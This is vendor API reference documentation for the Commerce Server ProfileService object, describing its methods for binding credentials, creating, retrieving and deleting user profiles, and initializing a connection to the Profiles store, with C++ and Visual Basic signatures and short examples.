BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.

Properties

[C++]
Property | Type | Description
Errors | Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.
[Visual Basic]
Property | Type | Description
Errors | Object | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.

Remarks

The ProfileService object implements read/write run-time access for ProfileObject objects and read-only access for profile definitions.

The ProfileService object provides run-time access to a profile object, which is a specific instantiation of a profile schema. The Profile definition designer module in Commerce Server Business Desk and the Profiles resource in Commerce Server Manager provide design-time access for modifying the profile schema.

In a Web-based application context, the ProfileService object is intended to be created and initialized in the Global.asa file for the application. The ProfileObject objects are intended to be created within page scope.

If you create a COM+ application, you cannot make calls from within that application to the ProfileService object.

Call the Initialize method before you use any other ProfileService method or property.

See Also

[C++] Profile Objects

[C++] Profile Schema

[C++] Profile XML Structures

[C++] ProfileObject Object

[Visual Basic] Profile Objects

[Visual Basic] Profile Schema

[Visual Basic] Profile XML Structures

[Visual Basic] ProfileObject Object


IProfileService2 Methods [C++]

PofileService Methods [Visual Basic]

Methods

[C++]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.
[Visual Basic]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.


IProfileService2::BindAs Method [C++]

ProfileService.BindAs Method [Visual Basic]

Use this method to set the credentials used to access ProfileObject objects in the underlying Profiles store.

Definition

[C++]
HRESULT IProfileService::BindAs (
  BSTR sUserName,
  BSTR sPassword,
);
[Visual Basic]
Sub BindAs (
  sUserName As String,
  sPassword As String
)

Parameters

sUserName [C++]
[in] A BSTR that contains the user name for accessing ProfileObject objects.
sUserName [Visual Basic]
[in] A String that contains the user name for accessing ProfileObject objects.
sPassword [C++]
[in] A BSTR that contains the password for accessing ProfileObject objects.
sPassword [Visual Basic]
[in] A String that contains the password for accessing ProfileObject objects.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

This method sets the credentials used to access and modify ProfileObject objects in the underlying directory store. Any new ProfileObject objects or modifications will be bound to these credentials. The specified credentials define the security context under which all subsequent ProfileObject object operations will be performed, until the UnBind method is invoked. The credentials specified here will be used as is to bind to the underlying directory stores. It is the responsibility of the client to pass in these credentials in the appropriate format. For example, to bind to Active Directory one could pass in either the

  • Full User Principal Name (UPN) (for example, joeuser@domain.com), or
  • SAM Account Name (for example, Domain\SAMAccountName), or
  • Fully specified distinguished name of the security principal (for example, CN=joeuser, CN=Users, DC=Domain, DC=com).

For Membership Directory, you must specify the fully specified distinguished name of the security principal.

Use the UnBind method to clear the credentials.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.BindAs "JoeUser@microsoft.com", "MyPassword123"
oProfileService.BindAs "DomainName\JoeUser", "MyPassword123"

See Also

[C++] ProfileService Object

[C++] IProfileService::UnBind

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.UnBind


IProfileService2::CreateProfile Method [C++]

ProfileService.CreateProfile Method [Visual Basic]

Use this method to create a ProfileObject object.

Definition

[C++]
HRESULT IProfileService::CreateProfile(
  VARIANT sValue,
  BSTR bstrType,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function CreateProfile(
  sValue As Variant,
  bstrType As String
) As Object

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are VT_BSTR or VT_I4.
sValue[Visual Basic]
[in] A Variant that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are String or Long.
bstrType [C++]
[in] A BSTR that contains the schema type for the new ProfileObject object.
bstrType [Visual Basic]
[in] A String that contains the schema type for the new ProfileObject object.
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the newly created ProfileObject object. The pointer is set to NULL if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

The CreateProfile method verifies that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects

oProfileObject1 = oProfileService.CreateProfile _
 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address")

oProfileObject2 = oProfileService.CreateProfile _
 ("Joeuser@microsoft.com", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::DeleteProfile

[C++] IProfileService::GetProfile

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::CreateProfileXML Method [C++]

ProfileService.CreateProfileXML Method [Visual Basic]

Use this method to create a ProfileObject object using XML data.

Definition

[C++]
HRESULT IProfileService2::CreateProfileXML(
  VARIANT sValue,
  BSTR bstrProfileType,
  BSTR bstrProfileXML,
  XMLFormatEnum eXMLFormat,
  IProfileObject2** pIProfileObject2
);
[Visual Basic]
Function CreateProfileXML(
  sValue As Variant,
  bstrProfileType As String,
  bstrProfileXML As String,
  eXMLFormat As XMLFormatEnum
) As IProfileObject2

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are VT_BSTR or VT_I4.
sValue[Visual Basic]
[in] A Variant that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are String or Long.
bstrProfileType [C++]
[in] A BSTR that contains the profile type.
bstrProfileType [Visual Basic]
A String that contains the profile type.
bstrProfileXML [C++]
[in] A BSTR that contains the profile properties in XML.
bstrProfileXML [Visual Basic]
A String that contains the profile properties in XML.
eXMLFormat [C++]
[in] An XMLFormatEnum that contains the XML format. See the Remarks section for allowed values.
eXMLFormat [Visual Basic]
An XMLFormatEnum enumeration that contains the XML format. See the Remarks section for allowed values.
pIProfileObject2 [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the newly created ProfileObject object. The pointer is set to NULL if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

Call the Update method on the returned ProfileObject object to commit the new profile to the data store. The Update method will verify that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
eInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute centric XML format.
eElementCentric | 2 | Element centric XML format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects
' sXMLProfile is a string contining the profile properties

oProfileObject1 = oProfileService.CreateProfileXML _
 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address", sXMLProfile, eAttributeCentric)

oProfileObject2 = oProfileService.CreateProfileXML _
 ("Joeuser@microsoft.com", "UserObject", sXMLProfile, eAttributeCentric)

See Also

[C++] ProfileService Object

[C++] IProfileService::DeleteProfile

[C++] IProfileService::GetProfile

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::DeleteProfile Method [C++]

ProfileService.DeleteProfile Method [Visual Basic]

Use this method to delete the ProfileObject object specified by a primary key value and schema type. All properties associated with the profile are purged from the system.

Definition

[C++]
HRESULT IProfileService::DeleteProfile(
  VARIANT sValue,
  BSTR bstrType
);
[Visual Basic]
Sub DeleteProfile(
  sValue As Variant,
  strType As String
)

Parameters

sValue[C++]
[in] A VARIANT that contains the primary key value.
sValue[Visual Basic]
[in] A Variant that contains the primary key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
strType [Visual Basic]
[in] A String that contains the profile schema type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the DeleteProfile method is called because of an error in creating a new ProfileObject object, any error message produced should be ignored.

Use the DeleteProfileByKey method to delete a profile specified by a key member/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details on expressions.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfile("Joeuser@microsoft.com", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::CreateProfile

[C++] IProfileService::DeleteProfileByKey

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.CreateProfile

[Visual Basic] ProfileService.DeleteProfileByKey

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object


IProfileService2::DeleteProfileByKey Method [C++]

ProfileService.DeleteProfileByKey Method [Visual Basic]

Use this method to delete the ProfileObject object specified by a key member name/value pair and schema type. All properties associated with the profile are purged from the system.

Definition

[C++]
HRESULT IProfileService::DeleteProfileByKey(
  BSTR bstrKeyMemberName,
  VARIANT sValue,
  BSTR bstrType
);
[Visual Basic]
Sub DeleteProfileByKey(
  strKeyMemberName As String,
  sValue As Variant,
  strType As String
)

Parameters

bstrKeyMemberName [C++]
[in] A BSTR that contains the key member name.
strKeyMemberName [Visual Basic]
[in] A String that contains the key member name.
sValue[C++]
[in] A VARIANT that contains the key value.
sValue[Visual Basic]
[in] A Variant that contains the key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
strType [Visual Basic]
[in] A String that contains the profile schema type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

Use the DeleteProfile method to delete a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details on expressions.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfileByKey("user_id",_
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}" "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::CreateProfile

[C++] IProfileService::DeleteProfile

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.CreateProfile

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object


IProfileService2::GetProfile Method [C++]

ProfileService.GetProfile Method [Visual Basic]

Use this method to retrieve the ProfileObject object corresponding to the specified primary key value and schema type.

Definition

[C++]
HRESULT IProfileService::GetProfile(
  VARIANT sValue,
  BSTR bstrType,
  VARIANT_BOOL bReturnError,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function GetProfile(
  sValue as Variant,
  bstrType As String
  Optional bReturnError As Boolean
) As Object

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value.
sValue [Visual Basic]
[in] A Variant that contains the primary key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
bstrType [Visual Basic]
[in] A String that contains the profile schema type.
bReturnError [C++]
[in, optional, defaultvalue (-1)] An optional VARIANT_BOOL.
bReturnError [Visual Basic]
[in] An optional Boolean. The default value is True (-1).
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the returned ProfileObject object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a ProfileObject object corresponding to the specified primary key value and schema name.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the optional bReturnError parameter is set to True (-1) and the specified ProfileObject object is not found, an error message, E_PS_PROFILE_NOTEXISTS, is returned instead of a ProfileObject object.

If the bReturnError parameter is set to False (0) and the specified ProfileObject object is not found, an empty ProfileObject object is returned without an error message.

Properties with the IsCached attribute set to False are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfileByKey method to retrieve a profile by specifying a key member name/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfile("Joeuser@microsoft.com", _
 "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::GetProfileByKey Method [C++]

ProfileService.GetProfileByKey Method [Visual Basic]

Use this method to retrieve a ProfileObject object that corresponds to a specified key member name/value pair and schema type.

Definition

[C++]
HRESULT IProfileService::GetProfileByKey(
  BSTR bstrKeyMemberName,
  VARIANT sValue,
  BSTR bstrType,
  VARIANT_BOOL bReturnError,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function GetProfileByKey(
  bstrKeyMemberName As String,
  sValue As Variant,
  bstrType As String
  Optional bReturnError As Boolean
) As Object

Parameters

bstrKeyMemberName [C++]
[in] A BSTR that contains the key member name.
bstrKeyMemberName [Visual Basic]
[in] A String that contains the key member name.
sValue [C++]
[in] A VARIANT that contains the key value.
sValue [Visual Basic]
[in] A Variant that contains the key value.
bstrType [C++]
[in] A BSTR that contains the schema type.
bstrType [Visual Basic]
[in] A String that contains the schema type.
bReturnError [C++]
[in, optional, defaultvalue (-1)] An optional VARIANT_BOOL.
bReturnError [Visual Basic]
[in] An optional Boolean. The default value is True (-1).
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the returned ProfileObject object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a ProfileObject object corresponding to the specified key member/value pair and schema name.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the optional bReturnError parameter is set to True (-1) and the specified ProfileObject object is not found, an error message, E_PS_PROFILE_NOTEXISTS, is returned instead of a ProfileObject object.

If the bReturnError parameter is set to False (0) and the specified ProfileObject object is not found, an empty ProfileObject object is returned without an error message.

Properties with the IsCached attribute set to False are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile method to retrieve a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::GetProfile

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::GetProfileDefXML Method [C++]

ProfileService.GetProfileDefXML Method [Visual Basic]

Use this method to retrieve the XML definition of the named profile schema type.

Definition

[C++]
HRESULT IProfileService::GetProfileDefXML(
  BSTR bstrProfileName,
  VARIANT_BOOL bNamesOnly,
  BSTR* pbstrXML
);
[Visual Basic]
Function GetProfileDefXML(
  bstrProfileName As String
  bNamesOnly As Boolean,
) As String

Parameters

bstrProfileName [C++]
[in] A BSTR that contains the name of the profile schema type.
bstrProfileName [Visual Basic]
[in] A String that contains the name of the profile schema type.
bNamesOnly [C++]
[in] A VARIANT_BOOL that determines whether the method returns the profile schema name or the profile schema definition. A value of FALSE indicates to return the profile definition. A value of TRUE indicates to return only the name of the profile schema.
bNamesOnly [Visual Basic]
[in] A Boolean that determines whether the method returns the profile schema name or the profile schema definition. A value of FALSE indicates to return the profile definition. A value of TRUE indicates to return only the name of the profile schema.
pbstrXML [C++]
[out, retval] A pointer to a BSTR that will contain the XML description.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the XML description.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the bstrProfileName parameter is empty and the bNamesOnly parameter is False (0), the XML descriptions of all the schema types in the catalog are returned.

If the bstrProfileName parameter is empty and the bNamesOnly parameter is True (-1), the names of all the schema types in the catalog are returned.

For information about the XML definitions, see the Profile XML Structures topic.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrXML parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXML is a String
' oProfileService is a Commerce ProfileService object

sXML = oProfileService.GetProfileDefXML("UserObject", False)

See Also

[C++] ProfileService Object

[C++] Profile XML Structures

[Visual Basic] ProfileService Object

[Visual Basic] Profile XML Structures


IProfileService2::Initialize Method [C++]

ProfileService.Initialize Method [Visual Basic]

Use this method to establish a connection to the Commerce Server Profiles store and populate the schema cache with all the schemas from the specified catalog.

Definition

[C++]
HRESULT IProfileService::Initialize(
  BSTR sConfigStore,
  BSTR sCatalog
);
[Visual Basic]
Sub Initialize(
  sConfigStore As String,
  Optional sCatalog As String
)

Parameters

sConfigStore [C++]
[in] A BSTR that contains the connection string to the Profiles store.
sConfigStore [Visual Basic]
[in] A String that contains the connection string to the Profiles store.
sCatalog [C++]
[in, optional] A BSTR that identifies the catalog. If this is specified it must be "Profile Definitions".
sCatalog [Visual Basic]
[in, optional] A String that identifies the catalog. If this is specified it must be "Profile Definitions".

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Initialize method creates the necessary internal parameters and schema cache for profile management. A ProfileService object must connect to only one Profiles store. Multiple instances of the ProfileService object must be created to access multiple stores.

The connection string for the Profiles store may be obtained through the SiteConfigReadOnly object, or through the Commerce Server Manager console from the s_ProfileServiceConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles(ComputerName SiteName)".

The connection string is comprised of the following mandatory tokens:

  • Data Source and/or Database [mandatory]. This attribute allows applications to specify the name of the underlying SQL Server containing the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Data Source attribute takes precedence.
  • Initial Catalog and/or Server [mandatory]. This attribute allows applications to specify the name of the Profiles database containing profile definitions. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Initial Catalog attribute takes precedence.
  • User ID and/or UID [mandatory]. This attribute allows applications to specify the login name to connect to the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the User ID attribute takes precedence.

The following is a sample connection string containing these attributes:

   Data Source=servername;Initial Catalog=dbname;User ID=user

Spaces are not allowed around the delimiting semi-colon, and a semi-colon is not allowed in the names of any of the tokens.

Additionally, the following optional tokens are also supported by the Profiles resource:

  • Provider [optional]. Allows applications to specify the OLE DB provider to which the Profiles resource connects. This parameter exists for consistency with standard ADO connection strings. The default value and only acceptable value for this attribute is CSOLEDB.
  • Password or PWD [optional]. Allows applications to specify the password for the user specified by the User ID or UID attribute. The default value for this attribute is NULL.
  • PsObjectCacheSize [optional]. Allows applications to specify the size of the Profiles resource object cache. This cache stores ProfileObject objects instantiated by the CreateProfile and GetProfile methods. The default value for this attribute is 16384. Setting this value to 0 (zero) does not turn off caching. Instead, this value then reverts to the default value of 1024.
  • PsSchemaCacheSize [optional]. Allows applications to specify the size of the Profile resource definition (schema) cache in entries. The acceptable range of values is from one (1) to 1024. The default is 1024. This is not a hard limit. A warning will be posted to the eventlog if the number of entries exceeds 1024.
  • PsBackgroundThread [optional]. Allows applications to control the creation of a background thread to periodically clean up entries from the Profiles resource object cache. The acceptable values for this parameter are zero (0) or one (1). Zero turns off the background thread, one turns it on. By default, the background thread is on.
  • PsObjectAgeoutPeriod [optional]. Allows applications to specify the age-out period for the Profiles resource cache entries. The age-out period is the amount of time an unreferenced object can remain in the cache without being discarded. The default value for this attribute is five minutes.
  • Integrated Security [optional]. Allows applications to connect to the Profile Service using integrated windows authentication. The value for this token should be SSPI. When this token is specified the values for User ID/UID and Password/PWD tokens are ignored.
  • Site Name [optional]. Allows applications to specify the site name under which the Profile Service counters should be logged. If no value is specified the performance counters are logged under Anonymous.
  • Connection_Retry [optional]. Allows the applications to specify the number of retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 10.
  • Connection_Retry_Delay [optional]. Allows the applications to specify the delay in seconds between retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 30.
  • PublicKey [optional]. This token allows the applications to specify the public key if any of the profiles defined use asymmetric encryption. The value for the token should be a hexadecimal string representation of the Public Key. The value should not be enclosed in quotes.
  • KeyIndex [optional]. This token is mandatory if the PublicKey is specified. Since Public and Privtate keys come in pairs, this token allows the applications to specify which PrivateKey token value corresponds to the PublicKey token.
  • PrivateKey1 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.
  • PrivateKey2 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.

Notes

  • The Initial Catalog in the connection string is the database containing the Profiles store.
  • The sCatalog parameter in the Initialize method is the catalog containing the profile schema definitions, which is "Profile Definitions".

The background thread removes the aged-out objects periodically from the cache. This means that the object may remain in the cache beyond the object age-out period. In this case, the object will be removed from the cache when the background thread processing resumes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Connect using an explicit connection string.
' oProfileService is a Commerce ProfileService object

oProfileService.Initialize "Provider=CSOLEDB;Data Source=MyServer;" _
 & "Initial Catalog=Retail_commerce;Integrated Security='SSPI';" _
 & "PsSchemaCacheSize=128;PsObjectAgeoutPeriod=8", "Profile Definitions"

' Connect through the SiteConfigReadOnly object.
' sConn is a String
' oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Profiles(ComputerName SiteName").Value _
 .Fields("s_ProfileServiceConnectionString").Value & "SCHCACHE=128"
oProfileService.Initialize sConn, "Profile Definitions"

See Also

[C++] ProfileService Object

[Visual Basic] ProfileService Object


IProfileService2::Unbind Method [C++]

ProfileService.Unbind Method [Visual Basic]

Use this method to clear the credentials that are used to access ProfileObject objects in the underlying Profiles store.

Definition

[C++]
HRESULT IProfileService::Unbind (
);
[Visual Basic]
Sub Unbind (
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

This method clears the credentials used to access ProfileObject objects in the underlying store. Any new profiles or modifications will not be bound to a specific user. Use this method to gain access to existing ProfileObject objects that are not bound to a specific user.

Use the Bind method to set the credentials to access ProfileObject objects that are bound to a specific user.

Call the Initialize method before you use this ProfileService method.

See Also

[C++] ProfileService Object

[C++] IProfileService::BindAs

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.BindAs


IProfileService2 Properties [C++]

ProfileService Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Errors | Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.
[Visual Basic]
Property | Type | Description
Errors | Object | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.


IProfileService2::get_Errors Property [C++]

ProfileService.Errors Property [Visual Basic]

The Errors property is a read-only ADO Errors object that stores the collection of errors encountered in the last Profiles resource operation.

Definition

[C++]
HRESULT IProfileObject::get_Errors(
  Errors** ppErrors
);
[Visual Basic]
Property Errors As Object

Parameters

ppErrors [C++]
[out, retval] The address of a pointer to an Errors object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully.

Remarks

The Errors property collects all errors generated by a ProfileService object operation, including those that emerge from the underlying technology.

